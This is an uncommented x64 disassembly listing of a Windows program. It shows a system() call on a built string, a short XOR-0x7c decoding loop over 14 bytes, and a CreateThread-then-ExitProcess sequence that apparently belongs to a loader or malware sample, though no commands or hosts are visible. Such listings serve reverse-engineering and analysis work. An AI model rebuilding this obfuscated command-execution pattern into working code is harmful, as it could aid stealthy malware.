lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x410]
call fcn.7ff76597c6e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xor ebx, ebx
mov qword [rbp + 0x1b0], rbx
mov qword [rbp + 0x1b8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r12
mov byte [rax], bl
lea rcx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0xf
cmova rcx, qword [rbp + 0x1a0]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x7ff76597ac0f
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597ac0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597ac0a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x1b0], rbx
mov qword [rbp + 0x1b8], r12
mov byte [rbp + 0x1a0], bl
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x7ff76597ac67
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597ac62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597ac62
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x420], rbx
mov qword [rbp + 0x428], r12
mov byte [rbp + 0x410], 0
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
nop
mov rax, qword [rbp + 0x1070]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff765a1ac10]
mov qword [rbp + rcx + 0x1070], rax
mov rax, qword [rbp + 0x1070]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x106c], edx
mov qword [rbp + 0x1080], rsi
cmp qword [rbp + 0x1100], 0
je 0x7ff76597ad04
mov rax, qword [rbp + 0x1098]
lea rcx, [rbp + 0x10f0]
cmp qword [rax], rcx
jne 0x7ff76597ad04
mov rdx, qword [rbp + 0x1110]
mov rcx, qword [rbp + 0x1108]
mov qword [rax], rcx
mov rax, qword [rbp + 0x10b8]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x10d0]
mov dword [rax], edx
cmp byte [rbp + 0x10fc], 0
je 0x7ff76597ad19
lea rcx, [rbp + 0x1080]
call fcn.7ff76597cd30
lea rcx, [rbp + 0x1080]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1088]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1120]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0xe88]
cmp rdx, 0xf
jbe 0x7ff76597ad86
inc rdx
mov rcx, qword [rbp + 0xe70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597ad81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597ad81
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0xe80], rbx
mov qword [rbp + 0xe88], r12
mov byte [rbp + 0xe70], 0
mov rdx, qword [rbp + 0xf48]
cmp rdx, 0xf
jbe 0x7ff76597addf
inc rdx
mov rcx, qword [rbp + 0xf30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597adda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597adda
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
xor eax, eax
mov rcx, qword [rbp + 0x2110]
xor rcx, rsp
call fcn.7ff7659fa990
lea r11, [rsp + 0x2220]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp + 0x800]
lea rcx, [rbp - 0x40]
call fcn.7ff765974e20
mov r9, rax
mov rbx, rax
mov r8, rax
mov r10d, 0xe
movzx edx, byte [rbx]
shr dl, 7
movzx ecx, byte [rbx]
add cl, cl
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x7c
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff76597ae30
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
call fcn.7ff7659719a0
nop
call fcn.7ff765971900
nop
lea r8, [rbp + 0x260]
mov edx, eax
lea rcx, [0x7ff765a1a3c8]
call fcn.7ff765973020
nop
call fcn.7ff7659719a0
nop
lea r8, [rbp + 0x2f8]
mov edx, eax
lea rcx, [0x7ff765a1a3c8]
call fcn.7ff765973020
nop
call fcn.7ff7659719a0
nop
lea r8, [rbp + 0x200]
mov edx, eax
lea rcx, [0x7ff765a1a3bc]
call fcn.7ff765973020
nop
lea r8, [rbp + 0x1e0]
mov edx, eax
lea rcx, [0x7ff765a1a3bc]
call fcn.7ff765973020
nop
call fcn.7ff7659719a0
nop
lea r8, [rbp + 0x280]
mov edx, eax
lea rcx, [0x7ff765a1a3bc]
call fcn.7ff765973020
nop
call fcn.7ff7659719a0
nop
lea r8, [rbp + 0x1c0]
mov edx, eax
lea rcx, [0x7ff765a1a3bc]
call fcn.7ff765973020
nop
call fcn.7ff7659719a0
nop
call fcn.7ff7659719a0
int3